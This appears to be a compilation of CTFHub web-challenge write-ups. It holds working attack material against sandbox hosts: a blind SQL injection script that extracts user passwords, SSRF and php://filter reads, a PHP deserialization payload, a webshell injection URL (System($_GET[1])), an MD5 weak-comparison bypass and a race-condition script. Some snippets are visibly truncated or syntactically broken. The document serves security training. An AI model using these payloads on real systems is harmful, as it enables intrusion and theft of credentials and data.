CTFHUB real exercises over the years

Test site

Boolean blind injection, SSRF

Tried the general login method and did not respond. Check the source code and find that the utilization point of sql injection is in the picture

Blind injection script

import string

from requests import *
allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

myurl = 'http://challenge-1993bf8242925716.sandbox.ctfhub.com:10800/image.php'

info = ''
for i in range(1,50):
    for s in allstr:
        payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))
        resp = get(url=myurl+payload)
        if len(resp.text) > 4000:
             info += s

The user password is obtained by Boolean blind note: 7feaa258b32f2ddbc4f32a6aed6c5b37, and the user name is admin
Log in:

ssrf guesses that the flag is in the root directory: file:///flag

After reading the source code, I found that f l a g. p H /; "`|[] = these characters, and there are some blacklist functions. This reminds me of an article by P God, which has no numbers and letters to construct webshell( https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html )

The following is to construct some functions outside the blacklist through this method to read the content in flag.php.
It seems that the filtering is not very strict here. You can read the flag by directly constructing the highlight_file(flag.php)


This is called randomly verifying the value of the next number

import requests
import re

url = 'http://challenge-9d9782aa29d71d3a.sandbox.ctfhub.com:10800/index.php?num=22'
while True:
        r = requests.get(url)

        # Match platform flag format
        flag = re.search(r'ctfhub\{.+\}', r.text).group()
    except AttributeError:
        print('Not obtained flag! Retrying!')

Script parsing:
Submit the request in an infinite loop until there is a flag in ctfhub{} format on the page to jump out of the loop.

You can also refresh the page manually until the flag appears.

$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        echo "Not now!";
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;

Url passes three parameters, text, file and PWD, to match respectively, so the payload will consist of three parts

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

Read the variable $text and store it as a string to match with "welcome to the zjctf" = = "requires that the values and types on both sides of the equal sign are equal
Encapsulate the protocol with data: / / data stream

        echo "Not now!";
        include($file);  //useless.php

The comment prompt contains the useless.php file, which can be used to php://filter The protocol reads this useless. PHP


base64 decrypted:


class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");

useless.php is a flag class in the title

 $password = unserialize($password);

So we just need to make the value of the passed $password deserialized equal to flag.php.


class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
$a=new Flag();

Scanning the directory and finding robots.txt

Then visit 1ndexx.php and find that it is 404. Try to scan the cache and find that. 1ndexx.php.swp exists


#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));

$hack=fopen("hack.php","w") or die("Unable 2 open");


  die("you die");


In the code, first read the flag and write hack.php, then GET the value of the code parameter from GET, and write it later after the pre_match check. The maximum writable length is 32 characters

Method 1:

http://challenge-305f4e259ec5b904.sandbox.ctfhub.com:10800/?code=<?php show_source(__FILE__);?>

Then visit hack.php

Method 2:
preg_match does not ignore case in the code, and php functions can ignore case, so you can use System() to bypass the regular check

http://challenge-305f4e259ec5b904.sandbox.ctfhub.com:10800/?code=<?php System($_GET[1]);?>


Method 3:
The incoming code will be written directly to hack.php, but there are some filters. It will be written directly to phpinfo()

/index.php?code=<?php phpinfo();?>

Visit hack.php again

Get index.php

require_once "flag.php";
if (!isset($_GET['user']) && !isset($_GET['pass'])) {
    header("Location: index.php?user=1&pass=2");

$user = $_GET['user'];
$pass = $_GET['pass'];
if ((md5($user) == md5($pass)) and ($user != $pass)){
    echo $flag;
} else {
    echo "nonono!";

user and pass are different, but MD5 is equal, which verifies the idea of php weak typing
When PHP processes hash strings, it interprets each hash value starting with "0E" as 0. Therefore, if two different passwords are hashed and their hash values start with "0E", PHP will think they are the same, both of which are 0.

The following values are in md5 Encrypted with 0 E start:


GET. You can bypass it by passing in user = qnkcdzo & pass = 240610708

This question means that it's faster to log in after you change your password than the system automatically changes your password
This is the competition between two threads. Stick the big guy script.

import requests
import threading

s = requests.session()

class MyThread(threading.Thread):
    def __init__(self, item):
        self.item = item

    def run(self):

def main(args):
    if args == 1:
        while True:
            ur11 = 'http://challenge-eefd4aa63ef6559a.sandbox.ctfhub.com:10800/change_passwd.php?passwd=123456&passwd_confirm=123456'
            c = s.get(ur11).content
        while True:
            url2 = 'http://challenge-eefd4aa63ef6559a.sandbox.ctfhub.com:10800/login_check.php?passwd=123456'
            # c11 = s.get(url2, data={' passwd': 111}).content
            c1 = s.get(url2)

if __name__ == '__main__':
    t1 = MyThread(1)
    t2 = MyThread(2)

You can see a GET parameter, which may be SQL injection. sqlmap try it

Get the login box and make some input
Admin 123456 -- > password error
Admin admin -- > password error
Ddddd 123456 -- > user does not exist
Since the user name and password are separated, they are tested separately

Here are two query modes of login box
1. One is to directly query the account name and password entered by the user

$sql='select * from user where username='$username' and password='$password'';

2. The second method is to query the user name first. If the user exists, verify whether the password is the same as the password in the database.

$username=$_POST['username']; $password=$_POST['password']; $sql='select password from user where username='$username''; 
           if($row['password']==$password) { echo 'success';
           else{ echo 'fail';} 
echo 'user does not exist'; 

Because this question can distinguish between password error and non-existent user name, it belongs to the second logic.

After filtering the word input, Hack will be displayed!
After order by / limit / and, union and select are filtered, nothing can be added/
Then, it is found in the packet capture that '+' is added to the space, so the system judges that it is Hack. Try to use the annotation / * * / to avoid the space and enter it. Therefore, try to use your own user name and password to bypass the login


Keywords: PHP PostgreSQL SQL

Added by phpfanphp on Tue, 12 Oct 2021 09:13:42 +0300